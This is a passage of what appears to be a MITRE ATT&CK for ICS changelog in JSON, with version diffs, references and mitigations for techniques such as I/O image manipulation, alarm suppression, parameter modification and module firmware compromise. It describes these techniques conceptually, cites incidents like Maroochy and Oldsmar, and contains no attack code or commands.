scanned.\\n+During the scan cycle, a PLC reads the status of all inputs and stores them in an image table.2 The image table is the PLC\\u2019s internal storage location where values of inputs/outputs for one scan are stored while it executes the user program. After the PLC has solved the entire logic program, it updates the output image table. The contents of this output image table are written to the corresponding output points in I/O Modules.\\n \\n One of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status.\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Operational Databases: Process History/Live Data\", \"old_value\": \"Controller program\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Operational Databases: Device Alarm\", \"old_value\": \"Process monitoring\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"PLC-Blaster 2\", \"description\": \"Spenneberg, Ralf. (2016). PLC-Blaster. Retrieved June 6, 2019.\", \"url\": \"https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf\"}, \"root['external_references'][3]\": {\"source_name\": \"Stuxnet - Symantec - 201102\", \"description\": \"Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.\", \"url\": \"https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf\"}}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Windows\"}}", "previous_version": "0.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may manipulate the I/O image of PLCs through vart1Adversaries may manipulate the I/O image of PLCs through var
>ious means to prevent them from functioning as expected. Met>ious means to prevent them from functioning as expected. Met
>hods of I/O image manipulation may include overriding the I/>hods of I/O image manipulation may include overriding the I/
>O table via direct memory manipulation or using the override>O table via direct memory manipulation or using the override
> function used for testing PLC programs. (Citation: Guidance> function used for testing PLC programs. (Citation: Guidance
> - ISA PLC)    During the PLC scan cycle, the state of the a> - ISA PLC)    During the scan cycle, a PLC reads the status
>ctual physical inputs is copied to a portion of the PLC memo> of all inputs and stores them in an image table.2 The image
>ry, commonly called the input image table. When the program > table is the PLC\u2019s internal storage location where values o
>is scanned, it examines the input image table to read the st>f inputs/outputs for one scan are stored while it executes t
>ate of a physical input.   When the logic determines the sta>he user program. After the PLC has solved the entire logic p
>te of a physical output, it writes to a portion of the PLC m>rogram, it updates the output image table. The contents of t
>emory commonly called the output image table. The output ima>his output image table are written to the corresponding outp
>ge may also be examined during the program scan. To update t>ut points in I/O Modules.  One of the unique characteristics
>he physical outputs, the output image table contents are cop> of PLCs is their ability to override the status of a physic
>ied to the physical outputs after the program is scanned.  O>al discrete input or to override the logic driving a physica
>ne of the unique characteristics of PLCs is their ability to>l output coil and force the output to a desired status.
> override the status of a physical discrete input or to over 
>ride the logic driving a physical output coil and force the  
>output to a desired status. 
", "changelog_mitigations": { "shared": [ "M0816: Mitigation Limited or Not Effective" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--1af9e3fd-2bcc-414d-adbd-fe3b95c02ca1", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-04-12 07:57:26.506000+00:00", "name": "Manipulation of Control", "description": "Adversaries may manipulate physical process control within the industrial environment. Methods of manipulating control can include changes to set point values, tags, or other parameters. Adversaries may manipulate control systems devices or possibly leverage their own, to communicate with and command physical control processes. The duration of manipulation may be temporary or longer sustained, depending on operator detection. Methods of Manipulation of Control include: Man-in-the-middle, Spoof command message, Changing setpoints. A Polish student used a remote controller device to interface with the Lodz city tram system in Poland.(Citation: LondonReconnections Hacked Cyber Security Railways May 2017)(Citation: InHomelandSecurity Hacker Poland February 2008)(Citation: Schneier Hacking Polish Trams January 2008) Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops.(Citation: InHomelandSecurity Hacker Poland February 2008)Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops.(Citation: InHomelandSecurity Hacker Poland February 2008) The track controlling commands issued may have also resulted in tram collisions, a further risk to those on board and nearby the areas of impact.(Citation: Schneier Hacking Polish Trams January 2008)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "impact-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0831", "external_id": "T0831" }, { "source_name": "LondonReconnections Hacked Cyber Security Railways May 2017", "description": "John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019.", "url": "https://www.londonreconnections.com/2017/hacked-cyber-security-railways/" }, { "source_name": "InHomelandSecurity Hacker Poland February 2008", "description": "Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019.", "url": "https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/" }, { "source_name": "Schneier Hacking Polish Trams January 2008", "description": "Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019.", "url": "https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_platforms": [ "None" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-04-12 07:57:26.506000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_platforms'][0]\": {\"new_value\": \"None\", \"old_value\": \"Windows\"}}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0802: Communication Authenticity", "M0810: Out-of-Band Communications Channel", "M0953: Data Backup" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--4c2e1408-9d68-4187-8e6b-a77bc52700ec", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-04-12 07:57:26.506000+00:00", "name": "Manipulation of View", "description": "Adversaries may attempt to manipulate the information reported back to operators or controllers. This manipulation may be short term or sustained. During this time the process itself could be in a much different state than what is reported. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) \n\nOperators may be fooled into doing something that is harmful to the system in a loss of view situation. With a manipulated view into the systems, operators may issue inappropriate control sequences that introduce faults or catastrophic failures into the system. Business analysis systems can also be provided with inaccurate data leading to bad management decisions.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "impact-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0832", "external_id": "T0832" }, { "source_name": "Reference - Corero", "description": "Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.", "url": "https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf" }, { "source_name": "Reference - SANS - 201510", "description": "Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.", "url": "https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297" }, { "source_name": "Reference - RIoT", "description": "Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019." } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_platforms": [ "Engineering Workstation", "Human-Machine Interface", "Field Controller/RTU/PLC/IED" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-04-12 07:57:26.506000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][2]\": \"Field Controller/RTU/PLC/IED\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Windows\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0802: Communication Authenticity", "M0810: Out-of-Band Communications Channel", "M0953: Data Backup" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--ba203963-3182-41ac-af14-7e7ebc83cd61", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Masquerading", "description": "Adversaries may use masquerading to disguise a malicious application or executable as another file, to avoid operator and engineer suspicion. Possible disguises of these masquerading files can include commonly found programs, expected vendor executables and configuration files, and other commonplace application and naming conventions. By impersonating expected and vendor-relevant files and applications, operators and engineers may not notice the presence of the underlying malicious content and possibly end up running those masquerading as legitimate functions. \n\nApplications and other files commonly found on Windows systems or in engineering workstations have been impersonated before. This can be as simple as renaming a file to effectively disguise it in the ICS environment.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "evasion-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0849", "external_id": "T0849" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Command: Command Execution", "File: File Metadata", "File: File Modification", "Scheduled Job: Scheduled Job Metadata", "Scheduled Job: Scheduled Job Modification", "Service: Service Creation", "Service: Service Metadata" ], "x_mitre_platforms": [ "Human-Machine Interface", "Control Server" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2021-04-12 16:35:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Command: Command Execution\", \"old_value\": \"File Monitoring\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"File: File Metadata\", \"old_value\": \"Process monitoring\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"File: File Modification\", \"old_value\": \"Binary file metadata\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][3]\": \"Scheduled Job: Scheduled Job Metadata\", \"root['x_mitre_data_sources'][4]\": \"Scheduled Job: Scheduled Job Modification\", \"root['x_mitre_data_sources'][5]\": \"Service: Service Creation\", \"root['x_mitre_data_sources'][6]\": \"Service: Service Metadata\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0922: Restrict File and Directory Permissions", "M0938: Execution Prevention", "M0945: Code Signing" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--e5de767e-f513-41cd-aa15-33f6ce5fbf92", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Modify Alarm Settings", "description": "Adversaries may modify alarm settings to prevent alerts that may inform operators of their presence or to prevent responses to dangerous and unintended scenarios. Reporting messages are a standard part of data acquisition in control systems. Reporting messages are used as a way to transmit system state information and acknowledgements that specific actions have occurred. These messages provide vital information for the management of a physical process, and keep operators, engineers, and administrators aware of the state of system devices and physical processes.\n\nIf an adversary is able to change the reporting settings, certain events could be prevented from being reported. This type of modification can also prevent operators or devices from performing actions to keep the system in a safe state. If critical reporting messages cannot trigger these actions then a Impact could occur.\n\nIn ICS environments, the adversary may have to use Alarm Suppression or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. (Citation: References - Secura - 2019) Methods of suppression often rely on modification of alarm settings, such as modifying in memory code to fixed values or tampering with assembly level instruction code. \n\nIn the Maroochy Attack, the adversary disabled alarms at four pumping stations. This caused alarms to not be reported to the central computer. (Citation: Maroochy - MITRE - 200808)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "inhibit-response-function" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0838", "external_id": "T0838" }, { "source_name": "Maroochy - MITRE - 200808", "description": "Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study\u2013 Maroochy Water Services, Australia. Retrieved March 27, 2018.", "url": "https://www.mitre.org/sites/default/files/pdf/08%201145.pdf" }, { "source_name": "References - Secura - 2019", "description": "Jos Wetzels, Marina Krotofil. (2019). A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded Devices. Retrieved November 1, 2019.", "url": "https://troopers.de/downloads/troopers19/TROOPERS19%20NGI%20IoT%20diet%20poisoned%20fruit.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Content", "Application Log: Application Log Content", "Operational Databases: Process History/Live Data" ], "x_mitre_platforms": [ "Human-Machine Interface", "Control Server", "Safety Instrumented System/Protection Relay", "Field Controller/RTU/PLC/IED", "Device Configuration/Parameters" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Sequential event recorder\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Application Log: Application Log Content\", \"old_value\": \"Controller parameters\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Operational Databases: Process History/Live Data\", \"old_value\": \"Network protocol analysis\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][4]\": \"Device Configuration/Parameters\"}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][3]\": \"Packet capture\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0800: Authorization Enforcement", "M0801: Access Management", "M0804: Human User Authentication", "M0807: Network Allowlists", "M0813: Software Process and Device Authentication", "M0918: User Account Management", "M0930: Network Segmentation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--09a61657-46e1-439e-b3ed-3e4556a78243", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-04-13 11:15:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Modify Controller Tasking", "description": "Adversaries may modify the tasking of a controller to allow for the execution of their own programs. This can allow an adversary to manipulate the execution flow and behavior of a controller. According to 61131-3, the association of a Task with a Program Organization Unit (POU) defines a task association. An adversary may modify these associations or create new ones to manipulate the execution flow of a controller. Modification of controller tasking can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append. Tasks have properties, such as interval, frequency and priority to meet the requirements of program execution. Some controller vendors implement tasks with implicit, pre-defined properties whereas others allow for these properties to be formulated explicitly. An adversary may associate their program with tasks that have a higher priority or execute associated programs more frequently. For instance, to ensure cyclic execution of their program on a Siemens controller, an adversary may add their program to the \u201ctask\u201d, Organization Block 1 (OB1).", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "execution-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0821", "external_id": "T0821" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "File: File Modification", "Asset: Software/Firmware" ], "x_mitre_platforms": [ "Field Controller/RTU/PLC/IED" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2021-04-13 11:15:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"File: File Modification\", \"old_value\": \"Sequential event recorder\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Asset: Software/Firmware\", \"old_value\": \"Controller program\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][2]\": \"Network protocol analysis\", \"root['x_mitre_data_sources'][3]\": \"Packet capture\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0945: Code Signing", "M0947: Audit" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--097924ce-a9a9-4039-8591-e0deedfb8722", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-14 15:25:32.143000+00:00", "name": "Modify Parameter", "description": "Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor. \n\nAn adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause Impact to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter. \n\nIn the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. (Citation: Maroochy - MITRE - 200808) In the Oldsmar water treatment attack, adversaries raised the sodium hydroxide setpoint value from 100 part-per-million (ppm) to 11,100 ppm, far beyond normal operating levels. (Citation: Oldsmar Water Treatment Attack Feb 2021)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "impair-process-control" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0836", "external_id": "T0836" }, { "source_name": "Maroochy - MITRE - 200808", "description": "Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study\u2013 Maroochy Water Services, Australia. Retrieved March 27, 2018.", "url": "https://www.mitre.org/sites/default/files/pdf/08%201145.pdf" }, { "source_name": "Oldsmar Water Treatment Attack Feb 2021", "description": "Pinellas County Sheriff\u2019s Office. (2021, February 8). Treatment Plant Intrusion Press Conference. Retrieved October 8, 2021.", "url": "https://www.youtube.com/watch?v=MkXDSOgLQ6M" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Content", "Application Log: Application Log Content", "Operational Databases: Device Alarm", "Asset: Device Configuration/Parameters" ], "x_mitre_platforms": [ "Control Server", "Field Controller/RTU/PLC/IED", "Safety Instrumented System/Protection Relay", "Human-Machine Interface" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-14 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor. \\n\\nAn adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause Impact to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter. \\n\\nIn the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. (Citation: Maroochy - MITRE - 200808) In the Oldsmar water treatment attack, adversaries raised the sodium hydroxide setpoint value from 100 part-per-million (ppm) to 11,100 ppm, far beyond normal operating levels. (Citation: Oldsmar Water Treatment Attack Feb 2021)\", \"old_value\": \"Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor. \\n\\nAn adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause Impact to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter. \\n\\nIn the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. (Citation: Maroochy - MITRE - 200808)\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n An adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause Impact to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter. \\n \\n-In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. (Citation: Maroochy - MITRE - 200808)\\n+In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. (Citation: Maroochy - MITRE - 200808) In the Oldsmar water treatment attack, adversaries raised the sodium hydroxide setpoint value from 100 part-per-million (ppm) to 11,100 ppm, far beyond normal operating levels. (Citation: Oldsmar Water Treatment Attack Feb 2021)\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Sequential event recorder\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Application Log: Application Log Content\", \"old_value\": \"Network protocol analysis\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Operational Databases: Device Alarm\", \"old_value\": \"Packet capture\"}, \"root['x_mitre_data_sources'][3]\": {\"new_value\": \"Asset: Device Configuration/Parameters\", \"old_value\": \"Application logs\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Oldsmar Water Treatment Attack Feb 2021\", \"description\": \"Pinellas County Sheriff\\u2019s Office. (2021, February 8). Treatment Plant Intrusion Press Conference. Retrieved October 8, 2021.\", \"url\": \"https://www.youtube.com/watch?v=MkXDSOgLQ6M\"}}}", "previous_version": "0.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may modify parameters used to instruct industriat1Adversaries may modify parameters used to instruct industria
>l control system devices. These devices operate via programs>l control system devices. These devices operate via programs
> that dictate how and when to perform actions based on such > that dictate how and when to perform actions based on such 
>parameters. Such parameters can determine the extent to whic>parameters. Such parameters can determine the extent to whic
>h an action is performed and may specify additional options.>h an action is performed and may specify additional options.
> For example, a program on a control system device dictating> For example, a program on a control system device dictating
> motor processes may take a parameter defining the total num> motor processes may take a parameter defining the total num
>ber of seconds to run that motor.      An adversary can pote>ber of seconds to run that motor.      An adversary can pote
>ntially modify these parameters to produce an outcome outsid>ntially modify these parameters to produce an outcome outsid
>e of what was intended by the operators. By modifying system>e of what was intended by the operators. By modifying system
> and process critical parameters, the adversary may cause Im> and process critical parameters, the adversary may cause Im
>pact to equipment and/or control processes. Modified paramet>pact to equipment and/or control processes. Modified paramet
>ers may be turned into dangerous, out-of-bounds, or unexpect>ers may be turned into dangerous, out-of-bounds, or unexpect
>ed values from typical operations. For example, specifying t>ed values from typical operations. For example, specifying t
>hat a process run for more or less time than it should, or d>hat a process run for more or less time than it should, or d
>ictating an unusually high, low, or invalid value as a param>ictating an unusually high, low, or invalid value as a param
>eter.   In the Maroochy Attack, Vitek Boden gained remote co>eter.   In the Maroochy Attack, Vitek Boden gained remote co
>mputer access to the control system and altered data so that>mputer access to the control system and altered data so that
> whatever function should have occurred at affected pumping > whatever function should have occurred at affected pumping 
>stations did not occur or occurred in a different way. The s>stations did not occur or occurred in a different way. The s
>oftware program installed in the laptop was one developed by>oftware program installed in the laptop was one developed by
> Hunter Watertech for its use in changing configurations in > Hunter Watertech for its use in changing configurations in 
>the PDS computers. This ultimately led to 800,000 liters of >the PDS computers. This ultimately led to 800,000 liters of 
>raw sewage being spilled out into the community. (Citation: >raw sewage being spilled out into the community. (Citation: 
>Maroochy - MITRE - 200808)>Maroochy - MITRE - 200808) In the Oldsmar water treatment at
 >tack, adversaries raised the sodium hydroxide setpoint value
 > from 100 part-per-million (ppm) to 11,100 ppm, far beyond n
 >ormal operating levels. (Citation: Oldsmar Water Treatment A
 >ttack Feb 2021)
", "changelog_mitigations": { "shared": [ "M0800: Authorization Enforcement", "M0947: Audit" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--fc5fda7e-6b2c-4457-b036-759896a2efa2", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-04-13 11:15:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Modify Program", "description": "Adversaries may modify or add a program on a controller to affect how it interacts with the physical process, peripheral devices and other hosts on the network. Modification to controller programs can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append. Program modification encompasses the addition and modification of instructions and logic contained in Program Organization Units (POU) and similar programming elements found on controllers. This can include, for example, adding new functions to a controller, modifying the logic in existing functions and making new calls from one function to another. Some programs may allow an adversary to interact directly with the native API of the controller to take advantage of obscure features or vulnerabilities.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "persistence-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0889", "external_id": "T0889" }, { "source_name": "IEC Programmable controllers February 2013", "description": "IEC. (2013, February 20). IEC 61131-3:2013 Programmable controllers - Part 3: Programming languages. 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Control system devices often contain modular hardware devices. These devices may have their own set of firmware that is separate from the firmware of the main control system equipment. \n\nThis technique is similar to System Firmware, but is conducted on other system components that may not have the same capabilities or level of integrity checking. Although it results in a device re-image, malicious device firmware may provide persistent access to remaining devices. (Citation: References - Module Firmware)\n\nAn easy point of access for an adversary is the Ethernet card, which may have its own CPU, RAM, and operating system. The adversary may attack and likely exploit the computer on an Ethernet card. Exploitation of the Ethernet card computer may enable the adversary to accomplish additional attacks, such as the following: (Citation: References - Module Firmware)\n\n*Delayed Attack - The adversary may stage an attack in advance and choose when to launch it, such as at a particularly damaging time.\n\n*Brick the Ethernet Card - Malicious firmware may be programmed to result in an Ethernet card failure, requiring a factory return.\n\n*\"Random\" Attack or Failure - The adversary may load malicious firmware onto multiple field devices. Execution of an attack and the time it occurs is generated by a pseudo-random number generator. \n\n*A Field Device Worm - The adversary may choose to identify all field devices of the same model, with the end goal of performing a device-wide compromise.\n\n*Attack Other Cards on the Field Device - Although it is not the most important module in a field device, the Ethernet card is most accessible to the adversary and malware. Compromise of the Ethernet card may provide a more direct route to compromising other modules, such as the CPU module.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "persistence-ics" }, { "kill_chain_name": "mitre-ics-attack", "phase_name": "impair-process-control" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0839", "external_id": "T0839" }, { "source_name": "References - Module Firmware", "description": "Daniel Peck, Dale Peterson. (2009, January 28). Leveraging Ethernet Card Vulnerabilities in Field Devices. Retrieved December 19, 2017.", "url": "https://www.researchgate.net/publication/228849043%20Leveraging%20ethernet%20card%20vulnerabilities%20in%20field%20devices" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Firmware: Firmware Modification", "Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow" ], "x_mitre_platforms": [ "Field Controller/RTU/PLC/IED", "Safety Instrumented System/Protection Relay" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Firmware: Firmware Modification\", \"old_value\": \"Sequential event recorder\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Network protocol analysis\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Network Traffic: Network Traffic Flow\", \"old_value\": \"Packet capture\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][3]\": \"Digital signatures\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0801: Access Management", "M0802: Communication Authenticity", "M0804: Human User Authentication", "M0807: Network Allowlists", "M0808: Encrypt 